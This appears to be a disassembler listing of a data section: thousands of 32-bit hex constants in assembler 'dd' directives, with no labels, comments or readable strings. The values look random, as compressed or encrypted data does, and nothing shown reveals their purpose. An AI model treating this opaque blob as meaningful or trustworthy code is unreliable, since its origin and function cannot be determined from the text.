		dd 0CDD460D4h, 0D2458100h, 9214A83Eh, 5B3A0036h, 0F71A91AAh
		dd 0BE002620h, 22ED8D4Eh, 0F0F4DBh, 948A8EF1h, 80CCB1C0h
		dd 0D110CE00h, 5A589FF7h, 0DE4A30C1h, 41A22A0h,	9981E030h
		dd 6068B7h, 0BE42ED21h,	5AE53D6Ah, 5674C003h, 791E08DFh
		dd 4FF468h, 9A9E35AEh, 9C673071h, 8301533Fh, 2DA6B6BAh
		dd 24829FFCh, 0AE98806Bh, 0FC3E9h, 8382FF90h, 0D2738DAAh
		dd 44294100h, 61C7F6B7h, 1AD90032h, 0EB239984h,	4E01E63Eh
		dd 341FDCDh, 0D04374C7h, 5A0F8051h, 587800D9h, 75499625h
		dd 7E7A6221h, 602BE400h, 8B5EE969h, 0C57604h, 9C9D102Dh
		dd 0D95B57C4h, 0AF2EE703h, 90C7E0D1h, 0E4D48ECAh, 4B0C00D6h
		dd 2DF2CF20h, 0D928A943h, 71039F03h, 0B9B40177h, 4EAAC853h
		dd 0FB050099h, 0A5C2B296h, 4802D262h, 4F98B5AFh, 51DEC08Ch
		dd 107F00D5h, 6023BCFDh, 7E742B3Fh, 0D300C17Eh,	39EFC496h
		dd 0EBF4AEBh, 54C58E48h, 0C0F299E5h, 189B1174h,	0DED17000h
		dd 95AEED2h, 0D83F009Eh, 686C63C0h, 700E5C14h, 624E33AEh
		dd 60951122h, 1F09591Ah, 0C0EFD7A6h, 436D4615h,	37001F25h
		dd 0BA050A49h, 71FE9206h, 0D5AC0F90h, 0BEBC9F34h, 0EF6BC900h
		dd 0CACBBF2Bh, 7CF43A00h, 0A061254h, 18B20045h,	2177EE02h
		dd 0D10061AFh, 30A7A241h, 23F3FBh, 0EA5E1EC9h, 7BA1F8F4h
		dd 0B80069B6h, 56584C25h, 7AE9000Ah, 0B9D11A80h, 0AE00B15Bh
		dd 0D03A7BFBh, 565E84h,	727D114Ah, 0ACDE7991h, 0A300987Fh
		dd 19D0F31Bh, 0DBC5A1h,	72CE0943h, 0BBDA8869h, 0C903E81Eh
		dd 3A006D9Eh, 19AC73D7h, 285000Fh, 458331B7h, 0BF00BAADh
		dd 809AEBC1h, 0C267F5BEh, 27E8DA34h, 0F6EAEC60h, 82962902h
		dd 40E4456Eh, 1AFA478h,	797242F9h, 0D8F8EDDCh, 31F33758h
		dd 6744412Dh, 0B1DEF434h, 750CA3FAh, 502DA839h,	6E7203C5h
		dd 451C1685h, 7E960DF0h, 3BA93A13h, 6010840Eh, 44490848h
		dd 0A3121EB9h, 0EC8D1F69h, 0DD280063h, 0CCA79F1Ah, 0BB00D8B0h
		dd 0E40A95BAh, 24AE342Dh, 75CD445h, 707088D5h, 2EB46DA9h
		dd 3CDBB200h, 668755BBh, 5AB008Eh, 7CE376F7h, 24B0C27Fh
		dd 0E6A22A01h, 3D8E3C82h, 5DEB9EF8h, 0F42428D8h, 282CD4h
		dd 1C94672Eh, 6F2E6E30h, 97006710h, 0AAEC7DACh,	0F5871EA6h
		dd 5F59407Ah, 5E2488F8h, 0A4381738h, 0E700E646h, 0B8DF4F5h
		dd 5E85Ch, 0E142129Eh, 405096A4h, 84EAB000h, 37E09713h
		dd 0BF9307E5h, 204F6B88h, 0F7351FD8h, 0E7C79205h, 48C0305Fh
		dd 38038h, 0C6B9C8CCh, 0B7DDB89h, 0C200C47Bh, 730A92C1h
		dd 51EBE3Dh, 84894BBAh,	1DD6011Bh, 0E5867F6Fh, 5AB8501Ch
		dd 6917BD2Bh, 0D000D5B7h, 719B4310h, 36840E6Bh,	514903BEh
		dd 0CC945800h, 6D12CA87h, 1047F50Dh, 9E30389Fh,	5B7D2Ch
		dd 0B4FC84ACh, 0F911CC13h, 0FB5CB013h, 88C73C00h, 17A4D414h
		dd 496BE675h, 0C2596ECh, 20AC90FEh, 28B894BAh, 0A86093Fh
		dd 0E01B488Bh, 20E05C0Eh, 0D694E9F3h, 0B7AC13C0h, 8ED01EE2h
		dd 1FEC0FDCh, 900EA28h,	38F691D7h, 24790D8Bh, 60F026h
		dd 802FCD03h, 3A900A33h, 0ED889F03h, 0D081A3E1h, 0D67E85h
		dd 3439A96Ah, 98BA0EACh, 25550C02h, 0C0A1BE1Bh,	2F3BFA3h
		dd 3F03E79Eh, 0CC806D4Dh, 9A2DED18h, 0DAA488h, 9DE5E89Fh
		dd 0ECE725D2h, 3CC00700h, 0F62ECDA6h, 0BA9900EAh, 0AD64064Ah
		dd 630147AFh, 788B1936h, 24E0557Ah, 86100F6Dh, 0EB04B937h
		dd 770C01D2h, 0B0A724Fh, 0A069FABBh, 876ED028h,	50C60F71h
		dd 7BC26394h, 4C4073BDh, 3301B1F7h, 0A9013D83h,	12D97EFEh
		dd 7F2455CCh, 68AF48FCh, 800A0407h, 77C0108Dh, 5E037FF9h
		dd 2DB06212h, 34D0CDC4h, 73FB99EDh, 410600F2h, 2C8B211Ch
		dd 450076C5h, 7C2307BBh, 0E49579B4h, 0F0867A66h, 0CF961DBDh
		dd 0F2A4C036h, 1A8D41EDh, 0A5893500h, 0A6591EEh, 160B004Fh
		dd 0BEB91592h, 54022A96h, 0C7906E55h, 6692619Bh, 500EC024h
		dd 2EB801h, 44FD1A59h, 28201667h, 0F51EAD07h, 75908D34h
		dd 3BDED797h, 198771AEh, 0C051111Bh, 7E4277C1h,	5828F200h
		dd 3B02C468h, 6EE70275h, 44BE1A56h, 1971088Ch, 0BB794701h
		dd 8B74CD66h, 9A86020h,	0B9BF4BE3h, 80232840h, 0D7110207h
		dd 0C3F21E19h, 1F64707Ch, 1E4EAD77h, 0F1103FEh,	82A3DA08h
		dd 92AF31A0h, 398120A3h, 0AED9802Ch, 0A843E32Fh, 4ACCE9CFh
		dd 7982F9D7h
		dd 0E05A4BDBh, 0B8088E40h, 8B16F501h, 0B980E83Ah, 0DF48A6F8h
		dd 11728350h, 31A0835Eh, 0A430D116h, 9930612Eh,	65AF09CCh
		dd 5380E9A8h, 0BA72F3EAh, 5C43A028h, 371FDCFAh,	0D640AD18h
		dd 0F9AE6EA8h, 42F55876h, 1B516F00h, 6C2D7DD9h,	0E197ED07h
		dd 522757BEh, 5A823E60h, 0CB371D68h, 8CC90042h,	0F6BAD96Fh
		dd 5B569400h, 7AAC9D25h, 3E2C00E8h, 333BC5E9h, 1D00CF91h
		dd 0FF8898Ah, 32E17459h, 15B90C36h, 0C80C04BFh,	81134h
		dd 0D9E2ECFBh, 6C54AAD1h, 0D5FC7300h, 28C5AB0Ah, 0A4D0388Ch
		dd 0FA21058Fh, 0B983048Fh, 16E08F14h, 1B284293h, 0C702C4Dh
		dd 517C3331h, 8008ACB2h, 9F3FDDF3h, 120AEA29h, 551F9C1Eh
		dd 0DB887C00h, 16ED242Bh, 27B071h, 8620D444h, 61CF28ABh
		dd 2260145Dh, 0EEF226BEh, 49193020h, 5C0154DBh,	2B03AE6Bh
		dd 704C7685h, 0E82F4124h, 0A04C0E60h, 5E4006A8h, 44E8DA43h
		dd 103E0ABFh, 0D2970001h, 0D983FBB2h, 2117EDB1h, 582B0F37h
		dd 34005E4Ch, 7D4503FBh, 60542627h, 0ED14A97Eh,	0C882147h
		dd 0F8536C46h, 0FC02A8A9h, 7D44F773h, 19788036h, 33656Dh
		dd 98510289h, 4850A6CEh, 0E4D14D22h, 3E3F0053h,	0FC5265C2h
		dd 51001A05h, 5ED038F2h, 8641Fh, 0CFE156D9h, 24416CA7h
		dd 817538C9h, 0DA355572h, 77A97870h, 18236079h,	0F2C8AFC6h
		dd 4B0C4CF4h, 91325986h, 41A600CBh, 691B21A7h, 0A53CE139h
		dd 80490FC3h, 1004FE97h, 3490D7A8h, 2B04FCh, 79A4CC8Fh
		dd 0B570973Eh, 3CE5A100h, 0A6A57D5Ah, 484000D5h, 2586FDB0h
		dd 0ED90287Ch, 0C46241C0h, 1710A1Bh, 338A543Bh,	78636B6Eh
		dd 67690EE1h, 0D53DA00Ch, 4C88C4DAh, 5680880Fh,	9F5FF6B5h
		dd 0ED25041Ch, 0E8D59140h, 270E152h, 5EF7210Eh,	304847ADh
		dd 7608EA97h, 81DD48E9h, 556C406Dh, 0F0CEE07Dh,	890013FCh
		dd 0B0D0D54Bh, 1A02ABh,	0FE3CB1CFh, 279229C0h, 1D0F073Ch
		dd 0D0807A28h, 0B2C3B98Bh, 239E0C7Bh, 360873B3h, 0E2FF21C0h
		dd 0A9E5BAh, 0DAB1CB7Ch, 90294751h, 0D2EFC300h,	0F64D2EB6h
		dd 8D870406h, 6335EABh,	0C8407654h, 8AC00C70h, 46B2C2B9h
		dd 7452283h, 0D3BAE1C6h, 9FF5208Fh, 0BD07560Fh,	5BB6708Ah
		dd 2A28831h, 303A3106h,	6BB80C8Eh, 481124h, 0AE076881h
		dd 0A73FC3C5h, 0A3083D63h, 65200079h, 0CD1B68C9h, 9D301E73h
		dd 0AF61B04Dh, 2820C704h, 7A083C2Bh, 17ED7C03h,	88D6B4B3h
		dd 0F9E2899Dh, 1D335F60h, 12757BA3h, 31AF18D7h,	0E41EE2C7h
		dd 44C1B29Ch, 4BFFAA7Eh, 219C02D1h, 0C9E440EAh,	0CB7218A7h
		dd 12B27830h, 0A0322F2Bh, 8146D6B0h, 0D100E768h, 0D4A48E18h
		dd 381B7CDh, 797588B8h,	28172572h, 0CEFBCE6h, 0DA1827ACh
		dd 953A40h, 0EFD6D2E7h,	0E454668Dh, 98F67000h, 0A6862F01h
		dd 0DBC700C9h, 0DEA7C530h, 820F1EDFh, 0C1055C2Ah, 0E3CB755h
		dd 12C090E1h, 7C490AEDh, 9441B3h, 4CCDD56Bh, 920080F8h
		dd 0BD42D044h, 3F8DE1F7h, 0AA80E358h, 8FEEE60Ah, 1E00B3CBh
		dd 0CDD7103Ch, 0D93F0Bh, 1A8E723h, 3A224DC7h, 0DCF57001h
		dd 4602DE58h, 45210BFh,	0A530BEACh, 0E73E1017h,	67271CBBh
		dd 0EDEBC015h, 0E3094730h, 0B7DA4503h, 82B521B1h, 1138E33Eh
		dd 11EAAB29h, 7521E4F4h, 2C6F9604h, 0E288F0Ah, 3A70204Ch
		dd 6478C419h, 2173296Dh, 1D121E4Dh, 41DBD510h, 192ED2Dh
		dd 0A6405744h, 6D1FB9h,	0EB594234h, 9F1DC7ACh, 0ABEC6000h
		dd 0FAE14EBAh, 8E0701DFh, 5D74C1F0h, 0D69FE84Fh, 1A5B8900h
		dd 9A6E4D63h, 0C2670068h, 58C7F9DCh, 0A000598Ch, 4854891h
		dd 1E1BEA8h, 0E8228F3h,	0DF22686Ch, 44A97A98h, 0CE3A5F00h
		dd 265BD611h, 0C9020327h, 0D52EFCECh, 0D06DF2B0h, 3DF9D201h
		dd 0D659B014h, 275ACCh,	33DC053Eh, 0AC41C5A5h, 1B01307Dh
		dd 0A85B3271h, 45708674h, 779F3C5Ah, 0FFF8817h,	0BBC1E47Bh
		dd 249953F4h, 7E00FB10h, 0C86DFEA2h, 16DEE526h,	186CEF9h
		dd 0DB219F78h, 7167C0F3h, 7B00A77Fh, 12F18422h,	1E5C5880h
		dd 4042FAA4h, 851594CDh, 3401A330h, 17E14D5h, 0E2F89071h
		dd 129590FDh, 4022583Eh, 53674720h, 623F4D6Eh, 7A4F83D3h
		dd 0D80C29D6h, 3F9E11C9h, 4985D14h, 0CF581A1Fh,	0A8006DE4h
		dd 0E091D790h, 0F93DBA4h, 0F460C72Ah, 405EBAEEh, 0FF20A9C5h
		dd 78003898h, 33F28216h, 15C5F73h, 23800819h, 0F081E6F6h
		dd 5A3A2CE3h, 472F80BFh, 0A613C7C1h, 0EB3A01D0h, 7659F663h
		dd 0AE38EC69h, 68A5ED00h, 47C1FCEFh, 0CB65005Bh, 0DFE9A004h
		dd 1200FA82h, 0E0F1AA7Ch, 50BEA93Eh, 0C2A842h, 33EC645Fh
		dd 95C5DC43h, 0A2161201h, 35F27444h, 102193E1h,	8446F8h
		dd 0D81FE8D4h, 2713E6E3h, 0B0329024h, 0FE575F00h, 7BE7B260h
		dd 555E022Eh, 0F04816FCh, 0A3E81363h, 0A006C12h, 8ABB0BC1h
		dd 0F4728D7Eh, 841F5B3h, 55EC107Ch, 0BF9200F2h,	60FCE4CDh
		dd 9172FBh, 4A478B00h, 0E62B0B08h, 94EC0062h, 86EFB663h
		dd 0E3000A23h, 3A1574B2h, 7172D1h, 0F39C1C18h, 3ED95053h
		dd 86876A00h, 3C3334F8h, 192C1D48h, 12DC45D3h, 2FC096Fh
		dd 0AB998C18h, 6C9E3709h, 0C32807E5h, 30881590h, 3156005Fh
		dd 0FC02FBDCh, 340020F7h, 0E64AD103h, 7D906582h, 7543F075h
		dd 2DF00F9Fh, 0AAE0637Fh, 13314819h, 7673D004h,	802F3Eh
		dd 0E8AEB0Fh, 418C4997h, 2D03B100h, 8380C71h, 73F389DCh
		dd 9300D536h, 0C3C79F57h, 391DA500h, 7022DDDAh,	7C7A797Eh
		dd 0AB470967h, 2000735Ah, 0A2CAC756h, 0CB488CE4h, 0EADC0080h
		dd 2FE07764h, 609003F4h, 0E1F30637h, 556292F0h,	2566B01Ch
		dd 2E826F81h, 20866Ch, 0CE170179h, 22CB241Ch, 4067E19Ah
		dd 0F0B27098h, 83D6E507h, 0A49012C1h, 288BCEh, 7CD4DB81h
		dd 8E89CD1Eh, 9C6A5024h, 7F06F128h, 0CAAF4320h,	0EA790011h
		dd 54F3F840h, 0A50026F2h, 7E6370A8h, 6EFB89h, 4D4B5F1h
		dd 4069D1E1h, 6FA2D200h, 98436CD3h, 0EC203D8Bh,	5052DF80h
		dd 0F74C480Dh, 460CAD0Ah, 0EA80E880h, 0A42C1BB3h, 14F4EBBAh
		dd 0EEA1005Bh, 2B610AD6h, 8500ACC2h, 9B527173h,	0E1C5A2h
		dd 0A8491595h, 36CC7893h, 0B53E8528h, 7375BF00h, 413FA742h
		dd 7627099Ah, 501E951h,	0E0DA19B2h, 0A30479D1h,	0B4FB9672h
		dd 0BAE6CB81h, 0A5A630h, 7648C113h, 4B1D7430h, 0E5E6101h
		dd 0F43B710Fh, 168660h,	7EB7BC11h, 1850D11Fh, 0B809A700h
		dd 0DD2FCD31h, 4D8002Ch, 0EC40A1C9h, 0AC0069DEh, 8D2D0FC4h
		dd 0FB7B217h, 36FFBCF3h, 5774720h, 3B0012E2h, 4F73B4E0h
		dd 1C53C65h, 250BAF7Ch,	0F8F901A1h, 1B30D05Ah, 0C3CD7820h
		dd 0FD37008Bh, 0EC81AF21h, 3C0E9179h, 1029A0h, 0DFDD7C0Eh
		dd 31A50E2Bh, 7B00118Ah, 4D2301CCh, 371B58h, 0AB52135Fh
		dd 5BB17Eh, 0F64A9464h,	0EA48800Ah, 0F2A89600h,	0FC290E8Fh
		dd 780F003Eh, 0B094048Ah, 7503C5EBh, 48FD03D0h,	91AA8008h
		dd 80E000F4h, 0EF28C37Ch, 9D269FBCh, 0B200403Fh, 0B061D6D8h
		dd 99612BEh, 9D813B9h, 84006FC8h, 0DAA4EA22h, 0D780F301h
		dd 0FCC47417h, 48902D0h, 0B3E4BE0Bh, 2E18C0C6h,	0F501613Dh
		dd 0BB259D4Ch, 1460175Bh, 73AA721Ch, 0D18A1E4Eh, 0B60BC3E9h
		dd 800008F6h, 0E07FD7DFh, 1AE642Eh, 7DD5E26Fh, 706EFC96h
		dd 2300DCA1h, 4186EC93h, 5043B8Bh, 75F20DFFh, 0FC084F33h
		dd 4BD5C1DEh, 30CF3F0Fh
		dd 7A00E080h, 12A281F2h, 5D38711h, 0C60E4C96h, 0C5788032h
		dd 63001485h, 83655FFDh, 5B308AFh, 2C76D646h, 0E84009Fh
		dd 231E5292h, 3F73670Bh, 0D7A00C4h, 0E91096Dh, 4C0759F3h
		dd 1E70C642h, 7D933848h, 0E83FF0A9h, 6200D95Bh,	5A5DEF90h
		dd 0E7F6FEh, 5BAF276h, 198A1F4Ah, 0B17B5803h, 88E52B3Bh
		dd 0FABC55A2h, 15020099h, 51CB2584h, 911F950Ah,	7700F660h
		dd 803CBBCAh, 0F9B20704h, 8085C3D8h, 0E505B50Bh, 46846A1Dh
		dd 6D00A517h, 3575AF56h, 98906004h, 0C0029382h,	0A56E2E02h
		dd 0C06C7DE6h, 7CD4447Ch, 2010C19Bh, 0F7E2FFB3h, 0E8C0DEF3h
		dd 0B40FBD07h, 80735774h, 0AA66172Ah, 0DA220082h, 0E0A43BA3h
		dd 0A101B556h, 0C9CA6730h, 948E1C38h, 0D656F02h, 0A7F80B09h
		dd 89F83900h, 0D949E60Fh, 0C1AE14C0h, 63DA0084h, 0E224BAA2h
		dd 23FB24F9h, 0CA960011h, 0E3C2B21Ah, 55E93C17h, 8D257202h
		dd 0D04A417Ah, 0E288F840h, 0F7613AF3h, 0DD462C02h, 6C407B3Ch
		dd 490EEA8Fh, 0FE56279Dh, 15CE1B00h, 98417F32h,	58E94C52h
		dd 0AC548B03h, 0A01D48F1h, 0E6C0F4CFh, 6D456F9h, 0C0D359D7h
		dd 93844903h, 1B0340Fh,	5A097D1Eh, 672ECDh, 72A89A0Eh
		dd 272D0B6Ah, 0E8870611h, 738E00ACh, 7B3F919Dh,	0B1B40038h
		dd 59834CBEh, 17F63087h, 55ACF5A8h, 1A003C90h, 92149D78h
		dd 3D72E9h, 8D8A595Dh, 3A497ADAh, 1D15EE01h, 0B0E4AA8h
		dd 0FEFC75CCh, 7CA33D8Eh, 0E7554480h, 0C23A57DCh, 4B395898h
		dd 2DA80C6h, 36D62446h,	0CA55C3Eh, 892AEA0Bh, 80C7EA04h
		dd 0E360E4ECh, 6C72E200h, 0CDDD0614h, 43F74C9Eh, 8DAA614h
		dd 0A46E8500h, 76FB0C93h, 3C6058h, 7FD3B794h, 3F104E53h
		dd 369C7E34h, 0E07A58ACh, 9200F91Eh, 87503B9Dh,	70EFCE2h
		dd 0FB617258h, 1F2B20E5h, 9800BB26h, 2C74E0DBh,	0D97967h
		dd 35588555h, 3472F557h, 7EFE4600h, 4202EFEBh, 2C5A7981h
		dd 84E02732h, 0F88CD1h,	10E848BEh, 81F00A9h, 0B2AEBB54h
		dd 3D1F4FD7h, 0D580899Eh, 34490F33h, 15AF0018h,	2A838D54h
		dd 6E74FF19h, 0E616D300h, 93E87A0Dh, 1FBE00D5h,	1E5AEA0Ah
		dd 9F004647h, 4C635B2Bh, 0B7A87Eh, 20ED7A96h, 44681117h
		dd 3D3F4B12h, 0F61F7C00h, 0AE59Bh, 430D1B98h, 13678060h
		dd 8700FCF8h, 0CB302538h, 9281ADh, 1D8B06D5h, 61A87A20h
		dd 4D99E900h, 217E1889h, 0A49100E8h, 35CAFBBEh,	1004292h
		dd 0BDCE5E37h, 1E31307Bh, 0D8848DFDh, 7C2128EBh, 2BC9201Dh
		dd 38F4C240h, 2BC1273h,	0B167C31Ah, 0DC60141Eh,	7B00DDD2h
		dd 7885D842h, 1D241FA8h, 0C081F0ACh, 3117234h, 15017728h
		dd 8EBE3E8Dh, 1D30107Ch, 8538969Ah, 0A8F75Eh, 60E1AD81h
		dd 0B4B8D307h, 949B4700h, 0BCDFF3DBh, 167000EEh, 0B9B56C5Eh
		dd 0A1FBF57h, 5180FCEDh, 0E8C45322h, 75973C20h,	0FDA3EC80h
		dd 0B1067026h, 5667D500h, 30A877FBh, 78F50060h,	0F4B6071Dh
		dd 609C6879h, 50E86900h, 741821h, 0FF4CAACBh, 56BC8A6h
		dd 0D38D458h, 90CC3D3Bh, 2C1DB5E8h, 0A788203h, 3AE715A4h
		dd 132F007h, 4220CCDEh,	0F449BC00h, 3DD63305h, 0E80F0397h
		dd 8F329896h, 3B1ED5B0h, 88ACA600h, 12B31DFBh, 4CFD0087h
		dd 73B90A9Bh, 2F019853h, 0B4092DE9h, 2C3C76h, 1F2323EFh
		dd 229080B8h, 0FE582C5h, 53829E1h, 9C92F3A5h, 986AF4CCh
		dd 8C00078h, 0B005A6B2h, 67E8BCE5h, 8ADB3A00h, 0A2BEA9E0h
		dd 0EE0912DCh, 2D18C812h, 0F496F800h, 6777038Ah, 90600510h
		dd 80F55E73h, 0D6632978h, 0D9D8100h, 7F383F74h,	933E0095h
		dd 0F3704DA3h, 0CA002854h, 5B06A5A7h, 78CDE82h,	656EE271h
		dd 0FEF69087h, 0F0A14509h, 5A0BF4FDh, 0E8528C00h, 482CAC39h
		dd 0FC100A7h, 28F69437h, 0A31DAD7Ah, 15C0C66Dh,	71A04262h
		dd 883500Dh, 3700132h, 0FA8AA747h, 0B61C3084h, 4659B27h
		dd 0A41854h, 0AA86275Bh, 403D9800h, 6E79D773h, 8FB66F3Fh
		dd 0C0D2C25Eh, 8B3F2F6Dh, 0B9250FE7h, 9FC006C9h, 0C6F39C96h
		dd 0D7EAF70Fh, 300036DDh, 3F623625h, 0D3B1003Eh, 0A88AE3Ch
		dd 2E3B48C8h, 0BEC08971h, 0E1A8C081h, 0A1C0A016h, 6412004Bh
		dd 0D104EF21h, 0C800105Ah, 6CF44FA0h, 7D4B5FEDh, 0E4DC1CC1h
		dd 93A2C04Dh, 0C9C2E115h, 8F665C00h, 0ED84B592h, 0F601E28h
		dd 0EA4A40Eh, 7060F898h, 0F4BA42C5h, 47407173h,	0F8988E41h
		dd 87A2D33Dh, 51673FD2h, 645F1240h, 0B8592CB6h,	0A3CC94B8h
		dd 2F96C17h, 0B1A685BCh, 0B0808962h, 0A4EAEEB9h, 99343B00h
		dd 10897903h, 0B0E52462h, 15F580C8h, 71C9E8Fh, 0AE86423Dh
		dd 0B500F80Eh, 346EEC79h, 0FBEE00C6h, 807E658Dh, 0CA787FB1h
		dd 5A156600h, 20530CADh, 14EA7B02h, 0C0AE076Eh,	1D67DA00h
		dd 7E392BFCh, 0C6A080F2h, 65003C34h, 0E7DF4CA0h, 0FC597Ah
		dd 3BDBAD85h, 7120D417h, 0F22FDE09h, 9C0481A5h,	98603637h
		dd 0F070F19Eh, 3ED0006Fh, 3938E381h, 24392160h,	1D9F8A16h
		dd 4C00E06Eh, 0FA5A5CAEh, 0E051C26h, 605B0052h,	104F24FCh
		dd 891AA800h, 5E4CE28Fh, 0C5620125h, 3EEC7320h,	7D084053h
		dd 0C0B73CF6h, 0B067EE1Ch, 4BDC76B8h, 4F4017Bh,	0DE7152C3h
		dd 230D20E0h, 34DE8F07h, 0C1943069h, 9176CCC1h,	0A987B03Ch
		dd 1A3C52B0h, 2703F078h, 0E5797B32h, 0B070B32Ch, 0BB52BFh
		dd 88F2CF65h, 0AA4CF9D2h, 34E9400h, 0F1EB497Ch,	6A7E019Ch
		dd 0CBFF178Eh, 3851713Ch, 40A42108h, 6C5AD81h, 0C102BF7Ch
		dd 73B69C45h, 8F0C40C9h, 0AE090068h, 0B54333BBh, 0EF750674h
		dd 0E8C01907h, 4D20A66Ah, 0A0C99035h, 0FB1BE8h,	3AD67CCFh
		dd 5614A5A3h, 0A6E6F1E2h, 4A658E00h, 0BB9D6E15h, 0B4DB0737h
		dd 0E0679612h, 6DFA7B8Ch, 686C803h, 0F0F398ABh,	2A4997h
		dd 3AC0505Bh, 0BED6669Eh, 0DACA7C0Fh, 0FA6CC001h, 5C4536h
		dd 8D6B0BF0h, 8B567EDCh, 54BAEB09h, 9C6B616Eh, 48E6E7D9h
		dd 5B11DCh, 0EB2D5729h,	5DFD8E79h, 9BA05F01h, 0FFECAB98h
		dd 454BF0DFh, 80E09Dh, 3B378BB2h, 5BCD333Ah, 0AF841A0Fh
		dd 5AE1A0DEh, 0CBC454h,	8BF9DC8Ah, 0AE8C0A72h, 0CA00307Ch
		dd 4BD8D73Dh, 0B87FA79h, 94A75CBDh, 0D500546Ch,	462CF0A3h
		dd 4FEE43Fh, 186216F6h,	0EFDCC065h, 0BEEADE7Eh,	779160C0h
		dd 33E3EAh, 18294AA6h, 769CE55Bh, 1FC89500h, 60719273h
		dd 86C63EEAh, 0B010D1A5h, 7026E26Bh, 101C33DDh,	0A263F303h
		dd 7C80F4E7h, 277E01h, 0C34ED1E6h, 547C382Fh, 0E84C2B00h
		dd 0CAAA9A84h, 92CD010Ch, 0A40F6D4Fh, 544B3082h, 0AD161D72h
		dd 0DD001420h, 99AF358h, 92325C2Dh, 244D3C50h, 657154h
		dd 77CA1C70h, 66009747h, 8161F739h, 0EF855EFEh,	41027478h
		dd 0A0F4AE7Bh, 0E303D840h, 0F05E7500h, 2D2A5C59h, 0C6AC00B4h
		dd 52B26670h, 1E0078FBh, 93CFD795h, 9D6CF8A1h, 0D90084D0h
		dd 5E17BF91h, 1CF54ECBh, 637D35h, 0B4CC9A1h, 4500EF2Bh
		dd 0D5C7BAEAh, 18CCB210h, 893F85C6h, 0B0F8C4BFh, 768C471Eh
		dd 3D7D2600h, 59C0781h,	0ACBAE55Dh, 0C67C91D4h,	8B1C40BDh
		dd 93076E3h, 983D0883h,	0B518C752h, 0C212C0DBh,	0A90194ABh
		dd 0F7F6F508h, 5DFDC185h, 7573E8h, 0A6DB7FA0h, 0C48C3F9Fh
		dd 4B735E74h, 47B28303h, 0E23798D9h, 97710CC6h,	0B2F558C0h
		dd 0DF21DACFh, 73C50F90h, 26225980h, 4A745C94h,	0C15E4902h
		dd 84D518BAh, 8330615Ch
		dd 63000975h, 30EDDF8Fh, 0A52993h, 5D6599E0h, 1C74F7EBh
		dd 45DA4703h, 0B0CF305Bh, 78B9E6h, 0E1220986h, 81E92834h
		dd 57088F00h, 0A22E0C32h, 6B5F01A3h, 85BD9B0Eh,	0A4A0033h
		dd 0D90B1414h, 3800C187h, 5C534E72h, 0E41E13A8h, 0C2002C8Eh
		dd 741FDABEh, 787C0022h, 83D3A68Dh, 0EB7145BAh,	0DA0FF37Eh
		dd 0E0D621CBh, 0B7883890h, 572F3EFAh, 4E324C18h, 0D90108CAh
		dd 0AF6E7F45h, 7BD0D512h, 0D4154CEDh, 60C96A00h, 0DB6F1F47h
		dd 0FA5F8700h, 94EE452Ch, 0FDF000A4h, 6A22771Dh, 0DF011B9Dh
		dd 0DD137446h, 0E0D2F73Eh, 3F43084h, 762E7FA6h,	2F803359h
		dd 9500D08Ch, 0A413EF32h, 62073Fh, 0D3ADBC93h, 0F8D42123h
		dd 7300D072h, 446CE26Fh, 74EFE313h, 0EA5C037Ch,	38326D54h
		dd 588D2CBh, 79077E03h,	156F4A26h, 0A89F4D43h, 0F6E8011h
		dd 83DE422Ch, 9814A4B2h, 0DD0750F6h, 0A1A2E625h, 56405109h
		dd 36B3C718h, 0C63910h,	0BAD4D532h, 0EA8769B0h,	0D70EEB00h
		dd 0CAC70848h, 0C027066Ch, 29140939h, 0C111F442h, 72A6112Dh
		dd 211EC511h, 2B2508F8h, 11289294h, 0FC216188h,	94D04808h
		dd 3511144Eh, 6A44702Ah, 7AD64430h, 2D732284h, 513C4442h
		dd 3720D644h, 36412224h, 0E7F408F9h, 9C6B0211h,	42A28451h
		dd 0E959110Ch, 223CBE28h, 10443305h, 0CCE100BBh, 3E16FB5Ch
		dd 8903B896h, 0CF9354F3h, 0A89EDB31h, 7D875Dh, 1F1222A6h
		dd 3EC620DEh, 76C281Eh,	0D1E87340h, 529FDFh, 87FB7E0Eh
		dd 139939C4h, 19263800h, 6576CDE0h, 1920068h, 0A649C26Fh
		dd 0E71CD442h, 0AD407063h, 0E317646Ah, 57C70773h, 204EF144h
		dd 1B8C5A29h, 0DF89E900h, 326EF69Bh, 0BA71008Bh, 0D0A93070h
		dd 0EC010D0Ch, 0A7B689C4h, 5BF48719h, 23B2825h,	0EA74049Ch
		dd 0AC89ACDBh, 646D1CBBh, 0E35CFC40h, 18E9E20h,	25E5B79h
		dd 2428DEA2h, 403933Ch,	303C88DCh, 526101B1h, 6FB4022Ah
		dd 150B9EFh, 0D98672F3h, 1FF0E5F8h, 0B001013Eh,	27C7263Ch
		dd 35642415h, 80487E38h, 96727458h, 3E9442E2h, 5F8168F3h
		dd 9EE39B3Ch, 0B76A70E6h, 9F00A572h, 0FBD15918h, 0FE90BD3h
		dd 9CCDE1FDh, 0DA148180h, 0C100D473h, 2A1A12CFh, 3F3AAC29h
		dd 0B99F2FEEh, 3BF900CDh, 39CBB53Fh, 0D87CB400h, 0F2916307h
		dd 501000B3h, 66DB9F53h, 60E3B7FCh, 8900AF79h, 0EDEEFFD0h
		dd 0F2BC8AF6h, 9737009Fh, 2A731CDFh, 0AD00BF90h, 0E40AB39Ch
		dd 4CF236D0h, 10098B26h, 3C70FF55h, 23997A00h, 0E65E43A9h
		dd 38A1FC11h, 588E228Ah, 4B40D379h, 0DEC450B5h,	0BE0EBC76h
		dd 408BE6A6h, 4A7F645Fh, 0E59050BBh, 0FE82FE56h, 49B043h
		dd 249BC139h, 98A31ADCh, 6383460h, 18D589Dh, 9289993Dh
		dd 603C512Bh, 6500A5DFh, 15F8B02Dh, 17B7EEh, 8718FC90h
		dd 16F2C16Ch, 96E35400h, 95560D67h, 0A1C7E7Ch, 9B612837h
		dd 0B5D880F0h, 107DCBCEh, 60074100h, 31BD4AD5h,	1DED794Ch
		dd 0C0C82A0Ah, 0F145C736h, 8AEA2312h, 9805894Bh, 0FC0583B6h
		dd 0C0AB10E0h, 2E0B5EF4h, 7E0094FAh, 0E7237549h, 0F8CBC5AEh
		dd 32BA00BBh, 2689FAACh, 2038905Ah, 0C58D8050h,	4D21775Ch
		dd 5DC4013Bh, 0C018541Fh, 7F45F95Bh, 77DA9C80h,	0B2FC071Dh
		dd 7FBB7831h, 9B37DF80h, 2000529h, 0FC366FECh, 9875DE38h
		dd 60E10032h, 6B423EFBh, 0CD008351h, 3B1C122h, 9816460Ah
		dd 3E9B0B7h, 0C710A87Dh, 0BAF0A3EEh, 82006E95h,	1BABE441h
		dd 7B4531h, 0BB539136h,	0C5D72F71h, 7000B372h, 2EB8552Ah
